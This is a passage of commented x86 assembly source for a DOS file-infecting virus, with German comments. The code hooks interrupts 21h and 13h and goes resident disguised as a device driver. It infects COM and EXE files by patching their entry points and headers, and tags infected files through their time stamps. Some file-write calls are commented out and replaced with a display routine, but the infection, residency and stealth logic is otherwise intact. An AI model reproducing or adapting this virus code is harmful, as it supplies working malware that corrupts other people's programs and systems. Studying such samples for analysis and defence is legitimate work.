  788.         ;------------------------- Set Int 13h -----------------
  789.         
  790.         MOV     WORD Ptr DS:[13h*4],Offset VirInt13h-Offset FirstByte
  791.         ADD     Word Ptr DS:[13h*4  ],SI    ; SI = Offset FirstByte
  792.         MOV     Word Ptr DS:[13h*4+2],CS
  793.         
  794.         POP     DS 
  795.     PUSH    DS 
  796.         
  797.     PUSH    SI 
  798.         
  799.         MOV     DS,Word Ptr DS:[002Ch]  ; Get Envir-Segment
  800.     XOR    SI,SI
  801. J0061C: LODSW    
  802.     DEC    SI 
  803.         TEST    AX,AX           ; Suche Ende des Environments
  804.     JNZ    J0061C
  805.         
  806.         POP     DI              ; = mov di,Offset Firstbyte
  807.     PUSH    DI 
  808.     PUSH    ES 
  809.         CMP     BYTE PTR CS:[DI+Offset DOS_Version-Offset FirstByte],03h 
  810.     JB    J00635
  811.         ADD     SI,+03h         ; zeigt auf grade gestartetes File
  812.         MOV     AX,121Ah        ; get File's drive, DS:SI->Filename
  813.         INT     2FH             ; AL <- Drive
  814.         ;----------------------------------------------------------
  815. J00635: MOV     DL,AL
  816.         MOV     AH,32h          ; Get DPB
  817.         INT     21H             ; DS:BX zeigt auf Disk-Parm-Block
  818.                                 ; DS ist dabei immer das DOS-Segment
  819.         ;===========================================================
  820.         ;0275:033A 0E 00 05 E0 03 00 00 00   originaler DPB
  821.         ;0275:0342 00 00 00 00 00 1B 5E 03
  822.         ;0275:034A 75 02 01 00 00 00 00 00
  823.         ;========================================
  824.         ;  es:0215 1A 02 04 xx xx xx xx xx   Neuer "DPB" im CS
  825.         ;  es:021D xx xx xx xx xx xx 55 02
  826.         ;  es:0225 D1 30 01 00 00 00 xx xx
  827.         ;========================================
  828.         ;  ds:01AE 43 4C 4F 43 4B 24 20 20 CLOCK$
  829.         ;  ds:01B6 CA 01 70 00 40 08 DC 05
  830.         ;  ds:01BE 34 06 ...................  Erste returnadresse
  831.         ;                05 80 .............  Zweite returnadresse
  832.         ;                      00 01 00 00
  833.         ;===========================================================
  834.     PUSH    CS 
  835.         POP     ES              ; ES ist CS
  836.  
  837.         ADD     DI,Offset VirInt24-Offset Firstbyte
  838.                                 ; DI war Offset Firstbyte
  839.         MOV     SI,DI           ; SI = Offset VIRINT24h
  840.  
  841.         MOV     AL,1Ah          ; Drive
  842.         MOV     AH,Byte Ptr DS:[BX+DPB.SubUnit]
  843.         STOSW                   ; AX -> ES:DI   ( Drive+Subunit)
  844.         MOV     AL,04h
  845.         STOSB                   ; AL -> ES:DI   ( Sectorsize )
  846.         
  847.         ADD     DI,+0Ah         ; DI <- Offset Virint24h+13h
  848.                                 ; DI = Offset ToINT21h-1
  849.  
  850.         MOV     DX,Word Ptr DS:[BX+DPB.FstDataSector]
  851.         CMP     Byte Ptr CS:[SI+Offset DOS_Version-Offset VirInt24],AL
  852.         JB      J0065A                 
  853.     INC    BX 
  854.  
  855. J0065A: MOV     AL,byte Ptr DS:[BX+DPB.MediaDescrpt]
  856.     STOSB    
  857.  
  858.     MOV    AX,SI
  859.         ADD     AX,0040h        ; AX = Ofs VirInt24+40h
  860.                                 ; AX = Offset 221h, Byte vor "CMP AX,2527"
  861.         STOSW                   ;
  862.     MOV    AX,ES
  863.         STOSW                   ;
  864.         MOV     AX,0001h        ;
  865.         STOSW                   ;
  866.         DEC     AX              ; AX = 0
  867.         STOSW                   ;
  868. ;------------------------------------------------------------------
  869.         LDS     DI,DWord Ptr DS:[BX+DPB.Device]
  870.         
  871.         MOV     BX,SI           ; jetzt zeigt BX auf Virint24
  872.         ;----------------------------------------------------------
  873.         PUSH    CS              ; AX=0
  874.                                 ; DS:DI zeigt auf Link;
  875.                                 ; ES:BX = residentes VirInt24h
  876.         CALL    InstallDevice
  877.         ;----------------------------------------------------------
  878.         ; Installation des Virus als 'device'
  879.         ; Hier installiert es sich durch die Hintertuer !!!
  880.         ;----------------------------------------------------------
  881.         ;
  882.         ;-------( Hier wird der Code verändert  )------------------
  883.         ;
  884.         ;----------------------------------------------------------
  885.                                         ; ES=CS !
  886.  
  887.         SHL     BYTE PTR ES:[BX+02h],1  ; aus 04 wird 08,
  888.                                         ; Ofs virint24 + 2  ; Ofs 1e3
  889.         
  890.         INC     BYTE PTR ES:[BX+Offset JMPLabel-Offset Virint24]
  891.                                         ; JZ 0283 -> JZ 284
  892.                                         ; Ofs Virint24 + 4ah; Ofs 22B
  893.  
  894.         AND     BYTE PTR ES:[BX+Offset JMPLabel-Offset VirInt24],0Fh
  895.                                         ; JZ 284 -> JZ 234
  896.                                         ; nach CMP AH,31h
  897.                                         ; Ofs VirInt24 + 4ah
  898.     PUSHF    
  899.     JNZ    J006A3
  900.         MOV     AX,Word Ptr ES:[BX+Offset Get21Label-Offset Virint24]
  901.                                         ; 3521, aus 'CMP AX,3521'
  902.                                         ; Ofs Virint24 + 48h; Ofs 229
  903.  
  904.         ADD     AX,0040h                ; AX = 3561
  905.  
  906.         CMP     AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24]
  907.                                         ; 744B = JZ 01FE
  908.                                         ; Ofs Virint24 + 53h; Ofs 234
  909.     JB    J0069F
  910.         INC     AX                      ; AX = 3562
  911.         AND     AX,003Fh                ; AX = 0022
  912.         ADD     AX,DX                   ; DX ist DPB.DataSektor
  913.         CMP     AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24]
  914.                                         ; 744B
  915.                                         ; Ofs Virint24 + 53h
  916.     JNB    J006B3
  917. J0069F: MOV     Word Ptr ES:[BX+Offset Get21Label-Offset Virint24],AX
  918.                                         ; Ofs Virint24 + 48h
  919. J006A3: 
  920.         ;----------------------------------------------------------
  921.         PUSH    CS 
  922.         CALL    InstallDevice
  923.         ;----------------------------------------------------------
  924.         
  925.     POPF    
  926.     JNZ    J006B2
  927.         MOV     Word Ptr ES:[BX+Offset JMPToInt21H-Offset VirInt24+4],AX
  928.                                         ; Ofs VirInt24 + 14h
  929.         
  930.         ;----------------------------------------------------------
  931.         PUSH    CS 
  932.         CALL    InstallDevice
  933.         ;----------------------------------------------------------
  934.  
  935. J006B2: PUSHF   
  936. J006B3: POPF    
  937.     POP    ES 
  938.     POP    SI 
  939.         ;------------------------- Re-Set Int 13h ---------------
  940.         XOR     AX,AX
  941.     MOV    DS,AX
  942.         MOV     Byte Ptr CS:[SI+Offset Bontchev - Offset FirstByte],AL
  943.         MOV     AX,Word Ptr CS:[SI+Offset INT13H+1-Offset FirstByte]
  944.         MOV     Word Ptr DS:[13h*4  ],AX
  945.         MOV     AX,Word Ptr CS:[SI+Offset INT13H+3-Offset FirstByte]
  946.         MOV     Word Ptr DS:[13h*4+2],AX
  947.         ;-------------------------------------------------------
  948.     POP    DS 
  949.     POP    AX 
  950.         CMP     WORD PTR CS:[SI+Offset OldCode-Offset Firstbyte],'MZ'
  951.     JNZ    J006DD
  952.         JMP     JmpEXE
  953.         ;-----------------------------------------------------        
  954. J006DD: JMP     JmpCOM
  955.         ;-----------------------------------------------------        
  956. J006E0: CALL    PushAll
  957.         MOV     AH,51h                  ; GET PSP
  958.         INT     21H            
  959.         SUB     DI,DI                   ; DI = 0
  960.         MOV     AX,DI                   ; AX = 0
  961.         DEC     BX                      ; Auf MCB des Master-programs zeigen
  962. MCB_Loop:
  963.         ADC     BX,AX
  964.     MOV    DS,BX
  965.         MOV     AX,Word Ptr DS:[DI+03h] ; MCB-Size nach AX
  966.         CMP     BYTE Ptr DS:[DI],'Z'    ; Letzter MCB ?
  967.         JB      MCB_Loop                ; NEIN -> MCB_Loop
  968.         CMP     DI,Word Ptr DS:[DI+01h] ; Owner of MCB = Himself ?
  969.         JNZ     J0075A                  ; => Command.com
  970.         INC     BX                      ; Auf PSP zeigen
  971.         MOV     ES,BX                   ; ES=PSP-Segment
  972.         CMP     AX,1000h                ; MCB-Size < 1000h ?
  973.     JB    J00708
  974.         MOV     AX,1000h                ; Wenn MCB >= 1000h -> MCB=1000H
  975. J00708: MOV     CL,03h
  976.         SHL     AX,CL                   ; MCB := MCB * 8
  977.         MOV     CX,AX                   
  978.         REPZ    STOSW                   ; AX->ES:DI, CX mal
  979.     JMP    SHORT J0075A
  980.         ;------------------------------------------------------        
  981. Virus_KEEP_Procedure: 
  982.         ;------------------------------------------------------        
  983.         CALL    PushAll
  984.         ;------------------------- Get Int 21h ----------------
  985.         MOV     CX,Offset VirInt21H -Offset FirstByte
  986.     XOR    DI,DI
  987.     MOV    DS,DI
  988.         LES     DX,Dword Ptr DS:[21h*4]         ; ES:DX = Int 21h
  989.         ;------------------------------------------------------ 
  990.         PUSH    CS                      
  991.     POP    DS 
  992.         CMP     DX,CX                           ; Ist INT 21 schon von
  993.         JNZ     J0072E                          ; mir übernommen ?
  994.     MOV    AX,ES
  995.         MOV     SI,CS                           ; dieselbe Frage
  996.     CMP    AX,SI
  997.     JZ    J0075A
  998.         ;--------------------------------------------------
  999.         ; Nein, INT21h wird z.Z. nicht von mir 'bearbeitet'
  1000.         ;--------------------------vvvvvvvvvvvvvvvvvvvvvvv
  1001. J0072E: MOV     AX,Word Ptr ES:[DI]             ; Nochmal dieselbe
  1002.         CMP     AX,CX                           ; Abfrage des INT 21h
  1003.     JNZ    J0073D
  1004.     MOV    AX,CS
  1005.         CMP     AX,Word Ptr ES:[DI+02h]
  1006.     JZ    J00742
  1007. J0073D: INC    DI 
  1008.     JNZ    J0072E
  1009.     JMP    SHORT J0074E
  1010.         ;-----------------------------------------------------        
  1011.         ;       Setzen des INT 21h auf die Virus-Prozedur
  1012.         ;-----------------------------------------------------        
  1013. J00742: MOV     SI,Offset INT21H - Offset FirstByte 
  1014.     CLD    
  1015.     MOVSW    
  1016.         MOVSW                           ; DS:SI-> ES:DI
  1017.         MOV     Word Ptr DS:[SI-04h],DX ; 994
  1018.         MOV     Word Ptr DS:[SI-02h],ES ; 996
  1019. J0074E: XOR     DI,DI
  1020.     MOV    DS,DI
  1021.         MOV     Word Ptr DS:[21h*4  ],CX
  1022.         MOV     Word Ptr DS:[21h*4+2],CS
  1023. J0075A: JMP     PopALL                         ; == RET !
  1024.         ;-----------------------------------------------------        
  1025. INFECT_File:
  1026.         PUSH    CS
  1027.     POP    DS 
  1028.     PUSH    CS 
  1029.     POP    ES 
  1030.         
  1031.         MOV     SI,Offset Buffer-Offset Firstbyte ; 880h
  1032.         MOV     DX,SI                   
  1033.         MOV     CX,0018h                ; Lese 18h byte nach DS:SI
  1034.         MOV     AH,3Fh
  1035.         INT     21H   
  1036.                    
  1037.     XOR    CX,CX
  1038.     XOR    DX,DX
  1039.         MOV     AX,4202h                ; Seek File-ENDE
  1040.         INT     21H             
  1041.         
  1042.         MOV     Word Ptr DS:[SI+1Ah],DX ; FilePointer, HiWord
  1043.         CMP     AX,0809h                ; ist File länger als 2057 Byte 
  1044.     SBB    DX,+00h
  1045.         JB      J007F7                  ; und kleiner als 65536 byte ?
  1046.         
  1047.         MOV     Word Ptr DS:[SI+18h],AX ; NEIN ! 
  1048.         
  1049.         MOV     AX,'MZ'
  1050.         CMP     Word Ptr DS:[SI],AX     ; Ein EXE ?
  1051.     JZ    J00793
  1052.         CMP     WORD Ptr DS:[SI],'ZM'   ; Ein Overlay ?
  1053.     JNZ    J007AE
  1054.         
  1055.         MOV     Word Ptr DS:[SI],AX     ; ja,dann machen wir's zum EXE !
  1056.                                         ; (Depp dieser ! )
  1057. J00793: MOV     AX,Word Ptr DS:[SI+0Ch] ; Maximum Memory needed
  1058.     TEST    AX,AX
  1059.         JZ      J007F7                  ; keines ??
  1060.         MOV     AX,Word Ptr DS:[SI+08h] ; Minimum needed
  1061.         ADD     AX,Word Ptr DS:[SI+16h] ; ADD CS-Init
  1062.     CALL    J008F2
  1063.         ADD     AX,Word Ptr DS:[SI+14h] ; ADD IP-Init
  1064.     ADC    DX,+00h
  1065.     MOV    CX,DX
  1066.     XCHG    AX,DX 
  1067.     JMP    SHORT J007C0
  1068.         ;--------------------------------        
  1069. J007AE: CMP     BYTE Ptr DS:[SI],0E9H   ; Ein COM. Fängt's mit JMP xy an ?
  1070.         JNZ     J007F8                  ; nein 
  1071.         MOV     DX,Word Ptr DS:[SI+01h] ; ja, dann ist es gaaanz leicht...
  1072.     ADD    DX,0103h
  1073.         JB      J007F8                  ; Sprung über 1 Segment ?
  1074.     DEC    DH
  1075.         XOR     CX,CX                   
  1076. J007C0: SUB     DX,4Dh          
  1077.         SBB     CX,00h
  1078.         MOV     AX,4200h
  1079.         INT     21H                     ; Seek INIT-Code - 4Dh
  1080.         
  1081.         ADD     AX,Offset VirusEnde-Offset FirstByte
  1082.     ADC    DX,+00h
  1083.         
  1084.         SUB     AX,Word Ptr DS:[SI+18h] ; Filesize Low-word
  1085.         SBB     DX,Word Ptr DS:[SI+1Ah] ; Filesize hi-word
  1086.         
  1087.     INC    DX 
  1088.     JNZ    J007F8
  1089.         CMP     AX,0FFF0h
  1090.     JB    J007F8
  1091.         
  1092.         ADD     SI,1Ch
  1093.     MOV    DX,SI
  1094.         MOV     CX,0809h                ; 2057h Byte lesen
  1095.         MOV     AH,3Fh
  1096.         INT     21H
  1097.         
  1098.     JB    J007F8
  1099.         CMP     CX,AX   
  1100.     JNZ    J007F8
  1101.     XOR    DI,DI
  1102.         REPZ    CMPSB                   ; BIN ICH SCHON DRINNEN ??
  1103.     JNZ    J007F8
  1104. J007F7: RETN                            ; Ja...........
  1105.         ;-----------------------------------------------------        
  1106. J007F8: MOV     SI,Offset Buffer-Offset FirstByte
  1107.     XOR    CX,CX
  1108.     XOR    DX,DX
  1109.         MOV     AX,4202h                ; seek file-ende
  1110.         INT     21H       
  1111.                                
  1112.         MOV     BYTE Ptr DS:[SI-0Ah],00h ; DOS_Version
  1113.         CMP     WORD Ptr DS:[SI    ],'MZ'
  1114.         JZ      SeekCodeStart
  1115.         ADD     AX,0A80h                ; = 2688d
  1116.     ADC    DX,+00h
  1117.     JZ    J0082F
  1118.     RETN    
  1119.         ;-----------------------------------------------------        
  1120. SeekCodeStart:
  1121.         MOV     DX,Word Ptr DS:[SI+18h]
  1122.         MOV     Byte Ptr DS:[SI-0Ah],DL
  1123.     NEG    DL
  1124.     AND    DX,+0Fh
  1125.     XOR    CX,CX
  1126.         MOV     AX,4201h
  1127.         INT     21H                     ; Seek ($ + CX:DX)
  1128.         MOV     Word Ptr DS:[SI+18h],AX
  1129.         MOV     Word Ptr DS:[SI+1Ah],DX
  1130.         ;--------------------------------------------------
  1131.         ;       Infektion erfolgt hier 
  1132.         ;--------------------------------------------------
  1133. J0082F: MOV     AX,5700h          ; Hole File-Datum/Uhrzeit
  1134.         INT     21H                 
  1135.     PUSHF    
  1136.     PUSH    CX 
  1137.     PUSH    DX 
  1138.         MOV     DI,Offset OldCode-Offset FirstByte
  1139.         
  1140.         PUSH    SI              ; Si zeigt auf 'MZ'
  1141.         MOVSB                   ; 3 byte sichern
  1142.     MOVSW    
  1143.     ADD    SI,+11h
  1144.         MOVSW                   ; 4 byte sichern
  1145.     MOVSW    
  1146.         SUB     SI,+0Ah         ;
  1147.         MOVSW                   ; nochmal 4 byte sichern
  1148.     MOVSW    
  1149.  
  1150.     POP    SI 
  1151.     XOR    DX,DX
  1152.         MOV     CX,Offset VirusEnde-Offset FirstByte
  1153.         ;------------------------------------------
  1154.         ;       MOV     AH,40h          ; SCHREIBE
  1155.         ;       INT     21H
  1156.         ;======( eingefügt )=======================
  1157.         PUSH    CX
  1158.         CALL    DISPLAYACTIVITY
  1159.         POP     AX
  1160.         ;==========================================
  1161.         ;------------------------------------------
  1162.         JB      J0086A
  1163.     XOR    CX,AX
  1164.     JNZ    J0086E
  1165.         MOV     CL,Byte Ptr DS:[SI-0Ah]
  1166.         AND     CL,0Fh
  1167.         TEST    CX,CX
  1168.         JNZ     J00863
  1169.         MOV     CL,10h
  1170. J00863: MOV     DX,0000h
  1171.         ;------------------------------------------
  1172.         ;       MOV     AH,40h                  ; SCHREIBE
  1173.         ;       INT     21H
  1174.         ;======( eingefügt )=======================
  1175.         PUSH    CX
  1176.         CALL    DISPLAYACTIVITY
  1177.         POP     AX
  1178.         ;==========================================
  1179.         ;------------------------------------------
  1180. J0086A: JB      SetFileAsInfected
  1181.         XOR     CX,AX
  1182. J0086E: JNZ     SetFileAsInfected
  1183.         MOV     DX,CX
  1184.         MOV     AX,4200h
  1185.         INT     21H                              ; DOS Function Call
  1186.         CMP     WORD PTR DS:[SI],'MZ'
  1187.     JZ    J0088E
  1188.         ;----------------------------( Korrektur des COM-Starts )-----
  1189.         MOV     BYTE PTR DS:[SI],0E9H
  1190.         MOV     AX,WORD PTR DS:[SI+18h]
  1191.     ADD    AX,004Ah
  1192.         MOV     WORD PTR DS:[SI+01h],AX
  1193.         MOV     CX,0003h
  1194.     JMP    SHORT J008DC
  1195.         ;----------------------------( Korrektur des EXE-Headers )----
  1196. J0088E: CALL    J008EF
  1197.     NOT    AX
  1198.     NOT    DX
  1199.     INC    AX 
  1200.     JNZ    J00899
  1201.     INC    DX 
  1202. J00899: ADD     AX,WORD Ptr DS:[SI+18h]
  1203.         ADC     DX,WORD Ptr DS:[SI+1Ah]
  1204.         MOV     CX,0010h
  1205.     DIV    CX
  1206.         MOV     WORD Ptr DS:[SI+14h],004Dh
  1207.         MOV     WORD Ptr DS:[SI+16h],AX
  1208.     ADD    AX,0083h
  1209.         MOV     WORD Ptr DS:[SI+0Eh],AX
  1210.         MOV     WORD Ptr DS:[SI+10h],0100h
  1211.  
  1212.         ADD     WORD Ptr DS:[SI+18h],Offset VirusEnde-Offset FirstByte
  1213.         ADC     WORD Ptr DS:[SI+1Ah],+00h
  1214.  
  1215.         MOV     AX,WORD Ptr DS:[SI+18h]
  1216.     AND    AX,01FFh
  1217.         MOV     WORD Ptr DS:[SI+02h],AX
  1218.     PUSHF    
  1219.         MOV     AX,WORD Ptr DS:[SI+19h]
  1220.         SHR     BYTE Ptr DS:[SI+1Bh],1
  1221.     RCR    AX,1
  1222.     POPF    
  1223.     JZ    J008D6
  1224.     INC    AX 
  1225. J008D6: MOV     WORD Ptr DS:[SI+04h],AX
  1226.         MOV     CX,0018h                        ; Länge des EXE-Headers
  1227.         ;
  1228. J008DC: MOV    DX,SI
  1229.         ;------------------------------------------
  1230.         ;       MOV     AH,40h                  ; SCHREIBE
  1231.         ;       INT     21H
  1232.         ;======( eingefügt )=======================
  1233.         CALL    DISPLAYACTIVITY
  1234.         ;==========================================
  1235.         ;------------------------------------------
  1236. SetFileAsInfected:
  1237.         POP     DX               ; Hole File-Datum/Uhrzeit vom Stack
  1238.     POP    CX 
  1239.     POPF    
  1240.     JB    J008F7
  1241.         OR      CL,1Fh           ; Set File-Uhrzeit, Sekunde auf 62 !
  1242.         MOV     AX,5701h
  1243.         INT     21H             
  1244.  
  1245. J008EF: MOV     AX,WORD Ptr DS:[SI+08h]
  1246. J008F2: MOV     DX,0010h
  1247.     MUL    DX
  1248. J008F7: RETN    
  1249.         ;-----------------------------------------------------
  1250.                 DB      "(c) 1990"
  1251.                 DB      " by Vesselin "
  1252. BontChev        DB      "Bontchev" 
  1253.                 DB      00h                             
  1254.         ;-----------------------------------------------------        
  1255. VirInt13H:      CMP     AH,03h          ; Write Sektors
  1256.                 JNZ     INT13H
  1257.                 CMP     DL,80h          ; festplatte ??
  1258.                 JNB     Int13JMP
  1259. Int13ROM_Entry: DB      0EAH
  1260.                 DW      0
  1261.                 DW      0       ;       JMP     0000:0000       ; 920
  1262. ;-----------------------------------------------------        
  1263. Int13JMP:       DB      0EAh
  1264.                 DW      0
  1265.                 DW      0       ;       JMP     0000:0000       ; 925
  1266. ;-----------------------------------------------------        
  1267. INT13H:         DB      0EAH
  1268.                 DW      0       
  1269.                 DW      0       ;       JMP     0000:0000       ; 92A
  1270. ;-----------------------------------------------------        
  1271. OldCode:        INT     20      ; Terminate a COM program
  1272.                 INT 3   
  1273. IP_init:        DW      0100h
  1274. CS_Init:        DW      0
  1275. SS_INIT:        DW      0
  1276. SP_INIT:        DW      0
  1277. Generation:     DW      0
  1278. ;----------------------------- mehr wird nicht weggeschrieben -
  1279. Virusende:
  1280. ;--------------------------------------------------------------  
  1281.                 DW      ?
  1282. J0093E:         DW      ?
  1283.                 DW      27 DUP (?)
  1284. DOS_Version:    DB      ?
  1285. Bontchev_Flag:  DB      ?
  1286. INT27H:         DD      ?
  1287. INT21H:         DD      ?
  1288. Buffer:         
  1289. FilePuffer:     
  1290. @Stack         EQU     $ + 80H
  1291. ;--------------------------------------------------------------  
  1292. code    ENDS
  1293.         END  start
  1294. ;--------------------------------------------------------------  
  1295.  
  1296.